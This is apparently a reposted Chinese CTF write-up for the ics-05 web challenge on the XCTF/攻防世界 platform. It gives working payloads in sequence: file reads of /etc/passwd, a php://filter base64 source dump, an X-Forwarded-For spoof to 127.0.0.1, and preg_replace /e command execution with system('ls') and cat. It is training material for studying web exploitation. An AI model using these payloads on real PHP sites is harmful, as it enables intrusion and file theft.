攻防世界-web:ics-05
Posted suferma
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界-web:ics-05相关的知识,希望对你有一定的参考价值。
题目描述
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
题目截图
解题思路
查看源代码发现一个url链接
尝试访问这个url
将参数更换为:/etc/passwd
发现存在文件读取漏洞
尝试读取index.php
回显ok
利用file协议读取/var/www/html/index.php
PHP伪协议文件读取
就是无法获取php源代码,这个时候可以利用php://filter伪协议读取
php://filter/read=convert.base64-encode/resource=index.php
读到了index.php的源代码
代码审计
base64解码源代码
发现代码中存在异常代码
preg_replace函数:
这个函数存在命令执行漏洞
搜索到这个
可以看出当函数第一个参数用//e修饰,第三个参数与第一个参数相同时,第二个参数可以当作php代码执行。
即preg_replace("/123/e", "phpinfo()", "123");可以执行phpinfo()函数。
我们发现这三个参数都是我们可控的,所以只要能够绕过$_SERVER[‘HTTP_X_FORWARDED_FOR‘] === ‘127.0.0.1‘即可命令执行。
HTTP_X_FORWARDED_FOR绕过
我们可以利用burp抓包改包实现绕过。
命令执行测试
下面我们构造参数进行命令执行
payload:?pat=/123/e&rep=phpinfo()&sub=123
成功执行phpinfo()
查看目录文件
payload:?pat=/123/e&rep=eval(system("ls"))&sub=123
发现可疑文件夹
查看疑文件夹
payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/"))&sub=123
发现flag文件夹
查看flag文件夹
payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/flag"))&sub=123
发现flag.php
查看flag.php
payload:?pat=/123/e&rep=eval(system("cat+s3chahahaDir/flag/flag.php"))&sub=123
得到flag
以上是关于攻防世界-web:ics-05的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)
XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)